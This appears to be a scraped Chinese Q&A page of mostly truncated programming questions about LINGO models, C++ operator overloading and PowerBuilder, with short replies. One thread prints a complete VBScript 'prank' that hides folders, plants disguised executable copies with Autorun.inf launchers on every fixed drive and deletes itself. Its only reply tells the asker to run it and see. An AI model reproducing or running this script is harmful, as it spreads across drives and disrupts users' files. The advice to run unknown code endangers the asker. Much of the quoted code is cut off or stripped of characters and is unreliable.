LINGO代码求解,出现too many inequality or equality ralation

武训2022-10-04 11:39:541条回答

LINGO代码求解,出现too many inequality or equality ralation
Model:
max=171553000-10.5*x1-11.1*x2-6.5*x3-10.9*x4-9.4*x5-9.3*x6-9.6*x7-10*x8-9.9*x9-9.7*x10-9.5*x11-10.2*x12;
802000

已提交,审核后显示!提交回复

共1条回复
肖晨xc 共回答了13个问题 | 采纳率100%
不等号不能连写 你分开两句写
1年前

相关推荐

c++代码,#include using namespace std; //声明class Point;Point op
c++代码,
#include
using namespace std;
//声明
class Point;
Point operator+(Point &a,Point &b);
//定义点类
class Point
{
public:
int x,y;
Point(){}
Point(int xx,int yy){x=xx;y=yy;}
void print(){ cout
poiu95051年前1
sdfsdufhsdfui 共回答了15个问题 | 采纳率86.7%
你的编程习惯有些繁琐和奇怪,共有两点
其一:公有变量最好定义为私有变量,否则就违背了类封装性的初衷了,虽然现在程序没有大的错误,但一旦程序大型化后,那个时候就比较麻烦了
其二:重载运算符函数定义有些繁琐,如
Point operator+( Point &a,Point &b)
{
Point s(a.x+b.x,a.y+b.y);
return s;
}
为何不写成返回一个有参数的构造函数
Point operator+( Point &a,Point &b)
{
return Point(a.x+b.x,a.y+b.y);
}
假如以上的你都接受和吸收的话,那开始看下面我对你题目的详解
运算符重载函数可以是类的成员函数,也可以是类的友元函数,还可以是既非类的成员函数也不是友元函数的普通函数.当然了,最后一个并不常用,原因是无法直接访问类的私有成员.(要访问也可以,只不过会降低程序的效率)
先来说说成员函数重载运算符,当你用其重载时,主函数中c++编译系统将表达式c=a+b解释为a.operator+(b)
所以,将你的程序改成
Point operator+(Point &b)
{
return Point(x+b.x,y+b.y);
}
就可以了
但是这就限制运算符左侧的值必须是一个类对象,不灵活不方便,因此就诞生了友元函数重载运算符
那现在来说说友元函数,当你用其重载时,主函数中c++编译系统将表达式c=a+b解释为operator+(a,b)
Point operator+( Point &a,Point &b)
{
return Point (a.x+b.x,a.y+b.y);
}
当然了,你这样定义只能重载两个类的加,若你想让一个类与整型相加,你可以如下重载
Point operator+( Point &a,int &b)
{
return Point (a.x+b,a.y);
}
注意:加法的交换律在c++中并不适用,也就是说整型与一个类加上述函数是无法完成的.
假如你还不懂的话,额,那你就死记吧,成员函数重载前一个类参数省略,而友元函数重载所有参与运算的参数必须全写出来,而且位置和参数类型要一一对应.
Ps:友元函数的使用会破坏类的封装性,因此原则上说,要尽量将运算符作为成员函数.但考虑到给方面的因素,一般将单目运算符重载为成员函数,将双目运算符重载为友元函数
vbs整人代码翻译On Error Resume NextSet fso=CreateObject("Scripting
vbs整人代码翻译
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exefun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exeAutorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWSsystem32tskill.exe")
fun.Copy(drv & "" & Fdr.Name & "fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
谁能解释一下这代码干什么用的?
zmpg1年前1
1432DI 共回答了17个问题 | 采纳率82.4%
你试一下就知道了
lingo 错误代码1017max=100*(x11+x21+x31+x41+x51+x61) + 60*(x12+x2
lingo 错误代码1017
max=100*(x11+x21+x31+x41+x51+x61) + 60*(x12+x22+x32+x42+x52+x62)+8*(x13+x23+x33+x43+x53+x63)+40*(x14+x24+x34+x44+x54+x64)+110*(x15+x25+x35+x45+x55+x65)+60*(x16+x26+x36+x46+x56+x66)+30*(x17+x27+x37+x47+x57+x67)-5*(x11+x12+x13+x14+x15+x16+x17+x21+x22x+23x+x24+x25+x26+x27+x31+x32+x33+x34+x35+x36+x37+x41+x42+x43+x44+x45+x46+x47+x51+x52+x53+x54+x55+x56+x57+x61+x62+x63+x64+x65+x66+x67-m11-m12-m13-m14-m15-m16-m17-m21-m22m-23m-m24-m25-m26-m27-m31-m32-m33-m34-m35-m36-m37-m41-m42-m43-m44-m45-m46-m47-m51-m52-m53-m54-m55-m56-m57-m61-m62-m63-m64-m65-m66-m67)
x11-m11
HHALP1年前1
好鬼僵尸 共回答了20个问题 | 采纳率90%
改成这样 无界解
max=100*(x11+x21+x31+x41+x51+x61) + 60*(x12+x22+x32+x42+x52+x62)+8*(x13+x23+x33+x43+x53+x63)+40*(x14+x24+x34+x44+x54+x64)+110*(x15+x25+x35+x45+x55+x65)+60*(x16+x26+x36+x46+x56+x66)+30*(x17+x27+x37+x47+x57+x67)-5*(x11+x12+x13+x14+x15+x16+x17+x21+x22+23+x24+x25+x26+x27+x31+x32+x33+x34+x35+x36+x37+x41+x42+x43+x44+x45+x46+x47+x51+x52+x53+x54+x55+x56+x57+x61+x62+x63+x64+x65+x66+x67-m11-m12-m13-m14-m15-m16-m17-m21-m22-m23-m24-m25-m26-m27-m31-m32-m33-m34-m35-m36-m37-m41-m42-m43-m44-m45-m46-m47-m51-m52-m53-m54-m55-m56-m57-m61-m62-m63-m64-m65-m66-m67);
x11-m11
翻译PB代码 ldc_yjzczl = dw_1.object.yjzjzl[as_row]
简单爱情公式1年前1
浩瀚湖泊 共回答了21个问题 | 采纳率95.2%
ldc_yjzczl = dw_1.object.yjzjzl[as_row]
其中ldc_yjzczl是定义的变量,这个语句是从数据窗口中取值赋值给变量的语法.
dw_1是数据窗口控件,这个您能找到吧?
yjzjzl是数据窗口里面的字段
as_row是你要取哪一行的值
你就当一个坐标定位dw_1.object.yjzjzl定位的是哪一列,[as_row]定位的哪一行,这样定位后,就成了数据窗口的一个单元块了,就是一个字段某一行的值.这个值赋给变量ldc_yjzczl
跪求高手帮忙解答ACM程序代码The input file will contain one or more lines
跪求高手帮忙解答ACM程序代码
The input file will contain one or more lines, each line containing one integer n with , representing the number of cities in the country.
Input is terminated by a value of zero (0) for n.
输入 3 4 5 6 7 8 9 10 11 12 0 输出 2 5 2 4 3 11 2 3 8 16
To put an end to this problem, the University of Ulm has developed a contingency scheme for times of peak load to cut off net access for some cities of the country in a systematic, totally fair manner. Germany's cities were enumerated randomly from 1 to n. Freiburg was number 1, Ulm was number 2, Karlsruhe was number 3, and so on in a purely random order.
Then a number m would be picked at random, and Internet access would first be cut off in city 1 (clearly the fairest starting point) and then in every mth city after that, wrapping around to 1 after n, and ignoring cities already cut off. For example, if n=17 and m=5, net access would be cut off to the cities in the order [1,6,11,16,5,12,2,9,17,10,4,15,14,3,8,13,7]. The problem is that it is clearly fairest to cut off Ulm last (after all, this is where the best programmers come from), so for a given n, the random number m needs to be carefully chosen so that city 2 is the last city selected.
juckxu1年前1
选择爱谁 共回答了18个问题 | 采纳率100%
题目没发完啊
lingo错误代码161model:sets:row/1..3/:z,dw,wtmax,wplus,wminus,bmi
lingo错误代码161
model:
sets:
row/1..3/:z,dw,wtmax,wplus,wminus,bminus,bplus,cminus,cplus;
column/1..3/:p;
link(row,column):sminus,splus,q1minus,q1plus;
endsets
data:
p=0.2 0.6 0.2;
q1minus=
3.2 7 14
3.2 7 14
3.2 7 14;
q1plus=
3.8 9 16
3.8 9 16
3.8 9 16;
wtmax=7 7 7;
wminus=1.5 2.0 3.5;
wplus=2.5 4 6.5;
bminus=90 45 28;
bplus=110 55 32;
cminus=220 60 50;
cplus=280 90 70;
enddata
calc:
@for(row:dw=wplus-wminus);
endcalc
max=@sum(row:bplus*(wminus+dw*z)-@sum(link(i,j):p(j)*cminus(i)*sminus(i,j)));
@sum(link(i,j):wminus(i)+dw(i)*z(i)-sminus(i,j))=wminus+dw*z);
@for(link(i,j):wminus(i)+dw(i)*z(i)>=sminus(i,j));
@for(row:z
zhangjun_wp1年前1
fjbailisha 共回答了17个问题 | 采纳率88.2%
最后一个@sum有问题 不知道你要表达什么
lingo错误代码11 MODEL DATA:P1=1.10352/1000000; P2=6.6121/1000000
lingo错误代码11
MODEL
DATA:
P1=1.10352/1000000;
P2=6.6121/1000000;
P3=1.655278/10000;
p4=4.138196/10000;
p5=4.965835/1000;
p6=6.6211134/1000;
p7=0.050762;
ENDDATA:
s4=200;
s5=10;
s6=1;
s7=60;
r1
凉衫伯1年前1
深水yv 共回答了23个问题 | 采纳率69.6%
MODEL:
DATA:
P1=0.00000110352;
P2=0.0000066121;
P3=0.0001655278;
p4=0.0004138196;
p5=0.004965835;
p6=0.0066211134;
p7=0.050762;
ENDDATA
s4=200;
s5=10;
s6=1;
s7=60;
r1
lingo程序纠错 错误代码63
lingo程序纠错 错误代码63
sets:
time/1..3/;
document/1..3/;
link(time,document):a;
endsets
min=z;
z>=a(t,j)*t;
@gin(t);
@gin(j);
@for(document(y):
@sum(time(x):a(x,y))=1);
a(t,1)+a(t,2)+a(t,3)<=1;

久居小城1年前1
xiaobo007 共回答了15个问题 | 采纳率80%
min=z;
@for(link(t,j):z>=a(t,j)*t);
@for(document(y):
@sum(time(x):a(x,y))=1);
@for(time(t):a(t,1)+a(t,2)+a(t,3)
微克等于多少毫克代码
初七的老鼠1年前1
刚果柔济 共回答了22个问题 | 采纳率81.8%
#include
void main()
{
x05 float wk,hk;
x05 while(1)
x05 {
x05x05 printf("please input the weight of weike!n");
x05x05 scanf("%f",&wk);
x05x05 hk=wk/1000;
x05x05 printf("the weight you want isn");
x05x05 printf("%fn",hk);
x05x05 if(wk==0)
x05x05 {
x05x05x05 printf("the program is end!nnn");
x05x05x05 printf("welcome back to use this program!nnn");
x05x05x05 break;
x05x05 }
x05 }
}
lingo代码问题model:sets:m/1..3/:f,p,A,Y;n/1..10/:B;link(m,n):C,D
lingo代码问题
model:
sets:
m/1..3/:f,p,A,Y;
n/1..10/:B;
link(m,n):C,D,Z;
endsets
min=0.4*(@sum(link(j,k):A(j)*B(k)*Z(j,k))+@sum(link(j,k):C(j,k)*B(k)*Z(j,k))+@sum(m(j):f(j)*Y(j)))+0.24*(@sum(link(j,k):D(j,k)*Z(j,k)));
@for(link(j,k):@bin(Z(j,k));@bin(Y(j)));
@for(link(j,k):@sum(link(j,k):Y(j)*Z(j,k))=1);
@for(n(k):@sum(n(k):B(k))*@sum(link(j,k):Z(j,k))
認眞84031年前1
kvgdk 共回答了16个问题 | 采纳率81.3%
问题在于你写错了 @sum(m(j):Y(j))=1 这样就行了 你前面加个@for是个什么意思
lingo代码如何实现while循环
lingo代码如何实现while循环

代码如下:

calc:

n1=0;

@while((n1<0.05):

c=[-0.05,-0.27,-0.19,-0.185,-0.185];

A=[zeros(4,1),diag([0.025,0.015,0.055,0.026])];

b=n1*ones(4,1);

Aeq=[1,1.01,1.02,1.045,1.065];

beq=1;

LB=zeros(5,1);

[x,Q]=linprog(c,A,b,Aeq,beq,LB);

Q=-Q;

plot(n1,Q,'*r');

n1=n1+0.001;

)

endcalc

xlabel('n1'),ylabel('Q')

运行后却出现不能包含while循环错误,10版本后不是都支持while循环了吗?


happyqian0071年前1
whiteboycn 共回答了11个问题 | 采纳率90.9%
你这个东西去matlab之类的做吧 lingo完全不是做这个的